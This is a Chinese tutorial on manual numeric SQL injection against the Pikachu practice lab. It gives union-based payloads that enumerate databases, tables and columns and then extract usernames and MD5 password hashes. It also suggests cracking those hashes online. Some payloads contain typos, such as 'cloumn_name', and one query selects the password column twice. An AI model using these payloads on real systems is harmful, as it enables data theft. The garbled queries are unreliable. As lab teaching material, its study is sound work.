SQL注入之数字型注入(手工)(1)
产生注入漏洞条件
参数用户可控:
前端传给后端的参数内容是可以被用户控制的参数带入数据库查询:
传入的参数拼接到SQL语句,且带入数据库查询
与SQL注入相关知识点
1.在注入时,我经常产生一个疑问,问什么要用这个表,如果这个表不存在怎么办?为什么要写这样的语句等等 经过系统的学习,渐渐的开始理解了,本文会进行部分说明
2.在MYSQL5.0版本后,系统会默认在数据库中存放一个informa_schema
的数据库,该库中需要记住三个表名:schemata,tables,columns;
schemata
表用来存放用户创建的所有数据库的库名,需要记住数据库库名的字段名为schema_name
tables
存放数据所有数据库名和表名,记住这两个字段名table_schema
和table_name
columns
存放所有的数据库名,表名和列名,需要记住这三个字段名table_schema
,table_name
,column_name
看到上面的说明应该明白输入information_schema.tables
等字段的原因了
3.除了上面的字段名,还需要记住以下几个函数:
database()
:当前网站使用的数据库version()
:当前MYSQL的版本user()
: 当前MYSQL用户
4.需要知道MYSQL注释符为:#
或--空格
或/**/
注入的步骤
数字型注入一般有以下几步:
1.先判断网站是否存在注入漏洞
2.获取数据库名
3.获取表名
4获取列名
5根据获取的数据库名,表名,列名来获得表内的信息
数字型注入实例
以pikachu里的数字型注入为例子.
如图为post类型,不能在地址进行注入,用burpsuite抓包.
burpsuite界面如下
判断是否存在漏洞
输入 and 1=1,界面正确返回
输入and 1=2,界面显示出错,由此说明存在注入漏洞
判断列的数量
输入 order by 1和order by 2 页面正常返回,order by 3时返回错误页面,说明只有2列
因此union注入语句为union select 1,2
输入 union select 1,2
,返回正常结果,还不止一条
获取数据库名
输入union select database()
,查询出数据库名为pikachu(其实配置数据库时我已经看到了)
获取表名
有了数据库名就好办了,简单的八达鸟(汤老师警告),请各位看我的手法.
输入union select 1,(select table_name from information_schema.tables where table_schema=‘pikachu‘ )
,什么!说我查询太多,显示不出来,我大意了啊.
重新输入union select 1,(select table_name from information_schema.tables where table_schema=‘pikachu‘limit 0,1 )
,加了个limit 0,1(0,是起始位置,1是选几个),获取到一个表名httpinfo了,继续把limit 0,1里的0依次改为1,2,3,4等,获得member,message,users,xssblind
....(差不多就行了,member表应该有重要信息)
获取列名
有了数据库名,表名,接下来手到擒来(以member为例)
输入union select 1,(select cloumn_name from information_schema.cloumns where table_schema=‘pikachu‘ and table_name=‘member‘ limit 0,1 )
,已经获得id了,接下来把limit 0,1里的0依次改为1,2等,获得username
,pw
.获得username
,pw
已够了,接下来可以获得用户信息了
获取用户数据
输入union select (select pw from pikachu.member limit 0,1),(select pw from pikachu.member limit 0,1 )
,获取到用户名和密码了,不过使用了MD5哈希,找在线网站破解就可以了
总结
用户名和密码一样e10adc3949ba59abbe56e057f20f883e
,感兴趣的可以去破解看看.
这个数字型注入不难,一步一步来,有逻辑的来注入,我曾经看到这种题目上来就一把抓,把会的东西全部整一边,然后做不出来就放弃了,当时完全不知道该如何下手,现在才知道这都是有套路的.MYSQL默认的数据库以及那九个表名非常重要.